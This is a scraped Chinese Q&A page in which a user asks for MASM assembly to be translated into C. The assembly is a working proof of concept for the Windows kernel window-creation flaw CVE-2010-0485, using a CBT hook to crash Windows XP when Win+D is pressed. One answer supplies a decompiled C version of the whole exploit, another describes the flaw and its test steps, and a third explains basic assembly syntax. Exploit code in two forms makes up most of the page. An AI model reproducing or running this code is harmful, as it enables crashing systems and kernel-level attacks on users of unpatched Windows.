求高手将这段汇编代码转换成C
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了求高手将这段汇编代码转换成C相关的知识,希望对你有一定的参考价值。
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
.const
.data
_wnd db "hcbtExploit",0
.data?
hhook dd ?
.code
WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.if uMsg==WM_DESTROY
invoke PostQuitMessage,0
xor eax,eax
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
.endif
ret
WndProc endp
HookProc proc uses ebx nCode:UINT,wParam:WPARAM,lParam:LPARAM
local buf[MAX_PATH]:BYTE
.if nCode==HCBT_CREATEWND
invoke GetClassName,wParam,addr buf,MAX_PATH
invoke lstrcmpi,addr buf,offset _wnd
.if eax==0
mov ebx,lParam
assume ebx:PTR CBT_CREATEWND
invoke GetDesktopWindow
invoke GetWindow,eax,GW_CHILD
invoke GetWindow,eax,GW_HWNDLAST ; (Progman)
invoke GetWindow,eax,GW_CHILD ; (SHELLDLL_DefView)
mov [ebx].hWndInsertAfter,eax
assume ebx:nothing
.endif
xor eax,eax
.else
invoke CallNextHookEx,hhook,nCode,wParam,lParam
.endif
ret
HookProc endp
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
local wc:WNDCLASSEX
local msg:MSG
local hwnd:HWND
mov wc.cbSize,sizeof wc
mov wc.style,CS_VREDRAW
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,0
mov wc.cbWndExtra,0
mov eax,hInst
mov wc.hInstance,eax
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,0
mov wc.lpszClassName,offset _wnd
invoke LoadIcon,0,IDI_WARNING
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,0,IDC_CROSS
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc
invoke GetCurrentThreadId
invoke SetWindowsHookEx,WH_CBT,offset HookProc,0,eax
mov hhook,eax
invoke CreateWindowEx,\
0,\
offset _wnd,offset _wnd,\
WS_OVERLAPPEDWINDOW,\
400,250,600,400,0,0,hInst,0
mov hwnd,eax
invoke UnhookWindowsHookEx,hhook
invoke ShowWindow,hwnd,CmdShow
invoke UpdateWindow,hwnd
.while TRUE
invoke GetMessage,addr msg,0,0,0
.break .if (!eax)
invoke TranslateMessage,addr msg
invoke DispatchMessage,addr msg
.endw
mov eax,msg.wParam
ret
WinMain endp
start:
invoke GetModuleHandle,0
invoke WinMain,eax,0,0,SW_SHOWNORMAL
invoke ExitProcess,eax
end start
invoke GetModuleHandle,0 -> GetModuleHandle(0);
我知道。
但是xor eax,eax 呢?
只能_asm
xor eax,eax
么?
不用担心这个。这个是很难利用的。原作者已经讲了。我只是想看看C的代码
void __cdecl WndProc(unsigned int hWnd, unsigned int uMsg, unsigned int wParam, unsigned int lParam)
if ( uMsg == 2 )
PostQuitMessage(0);
else
DefWindowProcA(hWnd, uMsg, wParam, lParam);
void __cdecl HookProc(unsigned int nCode, unsigned int wParam, unsigned int lParam)
HWND v3; // eax@3
HWND v4; // eax@3
HWND v5; // eax@3
char buf; // [sp+4h] [bp-104h]@2
if ( nCode == 3 )
GetClassNameA(wParam, (LPSTR)&buf, 260);
if ( !lstrcmpiA((LPCSTR)&buf, (LPCSTR)"hcbtExploit") )
v3 = GetDesktopWindow();
v4 = GetWindow(v3, 5u);
v5 = GetWindow(v4, 1u);
*(_DWORD *)(lParam + 4) = GetWindow(v5, 5u);
else
CallNextHookEx(hhook, nCode, wParam, lParam);
void __cdecl WinMain(unsigned int hInst, unsigned int hPrevInst, unsigned int CmdLine, unsigned int CmdShow)
DWORD v4; // eax@1
HWND v5; // ST30_4@1
MSG msg; // [sp+4h] [bp-4Ch]@2
WNDCLASSEX wc; // [sp+20h] [bp-30h]@1
wc.cbSize = 48;
wc.style = 1;
wc.lpfnWndProc = (unsigned int)WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = hInst;
wc.hbrBackground = 5;
wc.lpszMenuName = 0;
wc.lpszClassName = (unsigned int)"hcbtExploit";
wc.hIcon = LoadIconA(0, 0x7F03u);
wc.hIconSm = wc.hIcon;
wc.hCursor = LoadCursorA(0, 0x7F03u);
RegisterClassExA((const WNDCLASSEXA *)&wc);
v4 = GetCurrentThreadId();
hhook = SetWindowsHookExA(5, (HOOKPROC)HookProc, 0, v4);
v5 = CreateWindowExA(0, (LPCSTR)"hcbtExploit", (LPCSTR)"hcbtExploit", 0xCF0000u, 400, 250, 600, 400, 0, 0, hInst, 0);
UnhookWindowsHookEx(hhook);
ShowWindow(v5, CmdShow);
UpdateWindow(v5);
while ( GetMessageA((LPMSG)&msg, 0, 0, 0) )
TranslateMessage(&msg);
DispatchMessageA(&msg);
参考技术A 漏洞介绍:
CVE ID :CVE-2010-0485
由于 Windows 内核模式驱动程序在创建窗口时未正确验证所有参数,因此存在一个特权提升漏洞。 成功利用此漏洞的攻击者可以运行内核模式中的任意代码。 攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。
应用程序通过hook 函数CBTProc并判断当nCode值为HCBT_CREATEWND时,hook函数就可以使hWndInsertAfter成为其它窗口的hwnd 。当用户按下WindowsKey+D最小化所有窗口时即可触发这个函数。
测试环境:
操作系统:WIN XP SP2
测试过程:
1、运行测试程序
2、按下WindowsKey+D
3、系统蓝屏
其实自己也可以转换,invoke其实就是调用函数的意思,比如
invoke GetModuleHandle,0 -> GetModuleHandle(0);
这一段是定义一个数据结构指针,类型为:CBT_CREATEWND
mov ebx,lParam
assume ebx:PTR CBT_CREATEWND
然后其它就是一般的win32程序里有的WinProc,可以在Visual Stdio中新建一个win32的程序,看它的源代码。
这个太敏感了,自己动手翻译一下吧。不难。 参考技术B 高手啊。。 参考技术C 授人以鱼,不如授人以渔。
我教你怎么看懂它。
1.Mov指令
Mov a,b
就是最简单的赋值语句,相当于a=b;
Mov [a],b
指针的运用,相当于*a=b;
mov a,[b]
指针的运用,相当于a=*b;
2.xor eax,eax
函数调用后如果有返回值一般都会放在CPU的EAX寄存器里,让主程序赋给变量,这里抢先将EAX与自己进行“异或”运算,其实就是将Eax清零,使得(最近一次调用的)函数的返回值变成0。
比方说在WinProc函数中,这里就相当于语句“return 0;”
3.assume
其实ASSUME指令比较有用的,但是这个程序里就相当于强制类型转换了,很好理解。
assume ebx:ptr CBT_CREATEWND
相当于C里面的 (CBT_CREATEWND*)ebx
但是Assume是一劳永逸的做法,后面的语句都不用再类型转换
4.addr offset
相当于取地址符,虽然这两个不同,但对应到C里只有一种,那就是“&”
5.函数及其调用
C中调用函数直接写函数名,汇编里不同,而是用Call或者Invoke来调用函数,其中Invoke跟C的调用方式很相似。
参数顺序相同,但是Invoke将类型写到变量后面中间加冒号(Pascal语系也是如此),C/java将类型写在变量前面中间加空格。
Invoke语句后面如果参数写到下一行去,要加一个\表示下一行仍是参数
关于函数原型也有区别
C里面用...括起的部分是函数体
而汇编中用“proc...endp”包含的部分是函数体
6.其他
像一些伪指令如.IF什么的跟C中的判断语句差不多,只多个点而已
对于结构体成员的调用也是一样,用一只点号引用
其实学了C,再加上我说的这些,大致可以看懂汇编代码了。
以上是关于求高手将这段汇编代码转换成C的主要内容,如果未能解决你的问题,请参考以下文章